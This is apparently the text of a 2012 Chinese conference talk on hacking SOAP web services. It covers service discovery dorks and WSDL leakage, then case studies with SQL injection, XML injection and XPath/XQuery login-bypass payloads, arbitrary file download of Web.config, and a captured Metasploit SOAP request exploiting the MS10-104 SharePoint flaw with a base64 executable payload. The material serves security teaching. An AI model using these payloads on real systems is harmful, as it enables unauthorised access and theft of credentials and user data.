[xkungfoo2012]web service hack
DESCRIPTION
pnig0s xkungfoo2012 web service hack methodology focus on soap webserviceTRANSCRIPT
Web Service HackPnig0s@ 知道创宇
About Me:
From: 知道创宇安全研究团队 www.Knownsec.com 1 , Web 安全研究 2 ,核心产品研发
FreeBuf 核心成员 www.FreebuF.com --- 国内外实时安全资源资讯聚合
他们在使用 Web 服务:
1 ,提供 IP 地址来源查询接口 2 , QQ 在线状态查询接口
多种多样的 Web 服务:
3 ,验证码生成接口
多种多样的 Web 服务:
1, 什么是 Web 服务
2, 发现 Web 服务及信息搜集
3,Web 服务弱点及攻击手法
内容概要:
Web服务
UDDI
WSDLSOAP
XML
Go
什么是 Web 服务:
WSDL 文件解析
<wsdl:service name="newsserver"><wsdl:port name="newsserverSoap" binding="tns:newsserverSoap"><soap:address location="http://www.pwnit.com/newsserver.asmx"/></wsdl:port>……</wsdl:service>
什么是 Web 服务:
<service> 标签中提供了当前 Web 服务的名称, Web 服务所在位置:
<portType> 标签中提供了当前所有调用接口名称及调用方法的类型 :
<wsdl:portType name="newsserverSoap"><wsdl:operation name="Gethuodong"><wsdl:input message="tns:GethuodongSoapIn"/><wsdl:output message="tns:GethuodongSoapOut"/></wsdl:operation></wsdl:portType>
什么是 Web 服务:
<types> 标签中提供当前所有接口的参数及返回值的名称与类型信息
Back
<wsdl:types><s:schema targetNamespace="http://tempuri.org/"><s:element name="Gethuodong"><s:complexType><s:sequence><s:element name="title" type="s:string"/></s:sequence></s:complexType></s:element><s:element name="GethuodongResponse"> <s:complexType><s:sequence> <s:element name="GethuodongResult" type="s:string"/></s:sequence></s:complexType></s:element></s:schema></wsdl:types>
什么是 Web 服务:<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow="Features.Of.WebService"> <soapenv:Header/> <soapenv:Body> <fow:Characteristic> <fow:Features> 1, 松耦合 2, 语言无关 3, 独立于平台 4, 跨越企业与互联网 </fow:Features> </scor:Characteristic> </soapenv:Body></soapenv:Envelope>
发现 Webservice :
Web 服务一般是对外公开的,所以不难找到它们
1,Google Hack: filetype:asmx inurl:wsdl filetype:wsdl inurl:asmx index of "wsdl“
2,UDDI 注册中心查询: Microsoft,IBM,SAP 提供的 UDDI 服务已经全部停止 公共 Web service 查询网站 : http://webservices.seekda.com/
3,Xmethods( 一些公开的 Web 服务 ): http://www.xmethods.net/ve2/index.po
Google Hack 查询结果:
Seekda 中查询 Amazon 提供的 Web 服务:
Xmethods 中的第三方 Web 服务列表:
Yeah baby,that’s enough.
Oh man,are u kidding me?
1 , WSDL , DISCO 文件信息泄露: payCheck.asmx?wsdl payCheck.asmx/wsdl payCheck.asmx?disco
Web 服务信息搜集:
国内某游戏厂商在线支付平台 Web 服务:
WSDL 文件信息泄露
DISCO 文件信息泄露:
1 , WSDL 中的信息一般是无害的,但也会导致大量业务逻辑被暴露出来。
2 ,没有什么比 WSDL 和 DISCO 文件泄露的信息再多了,通过它们你几乎可以了解该 Web 服务的全部细节,可是 XML 文件看上去很难直观的展示出 Web 服务的相关信息。 So , do it ur self.
Python 脚本遍历 WSDL 文件:
公开的 Web Service 测试工具:
.Net WebService Studio
Foundstone 出品 WSDigger:
提供了简单的漏洞 Fuzzing 功能
WSDigger 生成的报告:
Fuzzing 工具 WS-Attacker :枚举 Web 服务接口信息, SOAP 请求测试, Web 服务Fuzzing
商业版自动化 Web 服务测试神器 SoapUI :
针对 Web 服务安全问题自动化 Fuzzing 过程:
攻击 Web 服务及测试案例
1 , Web 服务依赖于 XML 格式化语言和 SOAP 协议,由于之前所讲的一些特性,这些技术正在变得越来越流行,广泛的被各大企业厂商应用到实际服务中。但很少有相关人员意识到 Web 服务会带来的严重安全问题,攻击者通过实施 Web 服务攻击可以直接渗透到相关服务的核心部分,造成巨大的损失。
2 ,目前针对 Web 服务攻击的防护可以说是安全防御的一个盲区,如WAF , IDS 等防护产品。而由于 Web 服务的开放性和灵活度非常高,所以已有的一些 Web 服务防御措施效果也并不明显。
3 ,访问权限控制是目前 Web 服务的主要防御和控制措施,一个Web 服务接口如果权限设置不当,相关的高权限接口直接暴露在外,被恶意利用就会产生严重的后果。
Web 服务安全概述:
发现Web服务(UDDI,Web服务查询网站,GoogleHack)
针对Web服务请求WSDL,DISCO文件。
针对每个接口人工或自动化Fuzzing进行安全测试
If ur lucky,u can pwn it!
一般 Web Service 渗透测试步骤:
国内某旅游网
1, 正常 SOAP 请求及响应信息:
2, 请求 北京’ :
典型的报错注入点
Error-Based Sql Injection:
请求北京 ‘ and 1=@@version or ‘1‘=‘1 :
爆出当前MSSQL 信息
请求北京 ‘ and 1=user or ‘1’=‘1: 还是 DBO
关联案例: WooYun-2011-01860(Jannock, 某商城 SQL 注入 )
国内某软件厂商
向一个私有接口发起请求:
直接获取服务器数据库连接信息
关联案例 :wooyun-2010-04665(巭 ,北辰国旅 /海涛假期服务器高危漏洞 )
一些私有的 Web 服务接口,没有做好访问权限设置导致接口完全暴露在外,可以被任何人调用,从而被攻击者利用获取一些敏感信息,以便进一步进行渗透。
服务器信息泄露:
一个 GetFile 接口,没有对特殊字符进行过滤和限制可以导致任意文件下载: 1, 发送空参数请求暴出网站绝对路径:
2, 请求目标网站的 Web.config配置文件 :
任意文件下载:
Base64 解码后的配置文件文件内容 :
成功获取到了经过 Base64编码后的文件内容:
国内某 SNS交友社区
获取用户接口 GetUser 未做权限访问控制,任何人可以调用该接口查看任意用户信息。注册一个帐号 ,使用自己的 ID 调用 GetUser 接口:
个人账户信息一览无余
任意用户资料查看:
更换用户 ID 发送请求:
可以查看到其他用户 的账密信息
由于目标网站用户 ID 可预测,因此通过此漏洞,该站上百万的用户账密资料可以被攻击者轻易获取。
关联案例 : wooyun-2010-01209(Jannock, 39健康网多处越权漏洞 )
发现 XML Injection : 1 ,在 SOAP消息中,使用标签作为参数,如: </xmli> 会导致报错。 2 ,使用一对标签作为参数,如 <xmli></xmli>, 观察报错是否消失。
当使用 XML 存储一些敏感数据或使用 XML 格式化数据时,一些 Web 服务接口没有对用户的输入进行转义,导致攻击者可以插入任意 XML 标签,进行越权访问或恶意操作。
XML Injection :
通过 XML Injection我们注入一个具有管理员权限的用户
测试 Xml 文件中的用户信息: ID=0为管理员权限 ID=500为普通用户权限
上面针对的是使用 XML 格式化数据进行的 XML注入,同时我们还可以发送以下请求针对 SOAP 请求本身进行XML注入:
使用注入的帐号登录成功 ,得到管理员权限 :
注入 XML 标签之后的 userdb.xml 文件内容:
1,XPath: XPath 是一门在 XML 文档中查找信息的语言 , 通过元素和属性进行导航。
2,XQuery:建立在 XPath 的基础上 , 比 XPath更加灵活,同样用于在XML 文档中查询信息。已经被现在主流的 RDBMS 所支持,如Oracle, DB2, SQLServer 。
3, 与 SQL 语言不同的是, XML或者 XPath , XQuery 内部没有任何访问权限的控制,如果可以控制 XPath 语句,就能从 XML 文件中查询任何信息。
4,SOAP基于 xmlrpc ,但比其更加复杂和强大,因为使用了 rpc远程过程调用,信息均以数据流传输,因此针对 Web 服务的攻击可以无视php魔术引号等一些 PHP配置文件中的安全限制措施
XPath&XQuery Injection:
使用不存在的用户 invalid/invalid登录 :
使用用户名 :invalid’ or ‘1’=‘1 密码 :invalid’ or ‘1’=‘1 登录。$match_user = $xml->xpath("//User[Username=‘invalid’ and Password=‘invalid’]");$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ and Password=‘invalid’ or ‘1’=‘1’]");
登录成功,具备管理员权限
Xquery注入与 Xpath十分相似:doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ and Password=‘invalid’ or ‘1’=‘1]
XQuery 中的一些新特性:1,contains 函数 :doc(userdb.xml)//User[contains(Username,‘invalid’) and contains(Password=‘invalid’)] doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’) and contains(Password=‘invalid’) or contains(.,’*’)]2, position 函数 :doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(Username,’root’) and contains(Password=‘’) or contains(.,’*’) and position() <=2]// 语句可以绕过验证,并返回 root 信息 ,position() 指明查询范围为前两个结点
只需要额外指明 xml 文件
SharePoint Server 是一个服务器功能集成套件,提供全面的内容管理和企业搜索。该套件中提供了一个用于文档格式转换的 Web 服务,攻击者通过向 ConvertFile 接口发送畸形的 SOAP 请求来上传恶意文件并执行任意代码。影响版本 :SharePoint 2007 sp2
开启文档转换服务的 SharePoint :
服务监听在 8082端口:
(MS10-104) SharePoint Server Arbitrary File Upload RCE
利用 MSF执行 Payload 成功,获得一个 Meterpreter session :
通过 WireShark截获的 Metasploit向 SharePoint 服务器发送的数据包:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><i2:ConvertFile id=“ref-1” xmlns:i2="http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface"><launcherUri id="ref-3">http://192.168.80.141:8082/HtmlTrLauncher</launcherUri><appExe id="ref-4"></appExe><convertFrom id="ref-5">..\..\..\..\..\..\..\WINDOWS\system32\IIMKbknocxSsQ.exe</convertFrom><convertTo id="ref-6">html</convertTo><fileBits href="#ref-7"/>…….</i2:ConvertFile><SOAP-ENC:Array id=“ref-7” xsi:type=“SOAP-ENC:base64”>TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6F….
Base64 编码后的ShellCode
请求的接口
Web 服务地址
生成的 Payload路径及名称
我们的成果分享及交流途径
通过官方博客: http://blog.knownsec.com/
通过官方微博: @ 知道创宇
Thanks everyone!
@Pnig0s To:M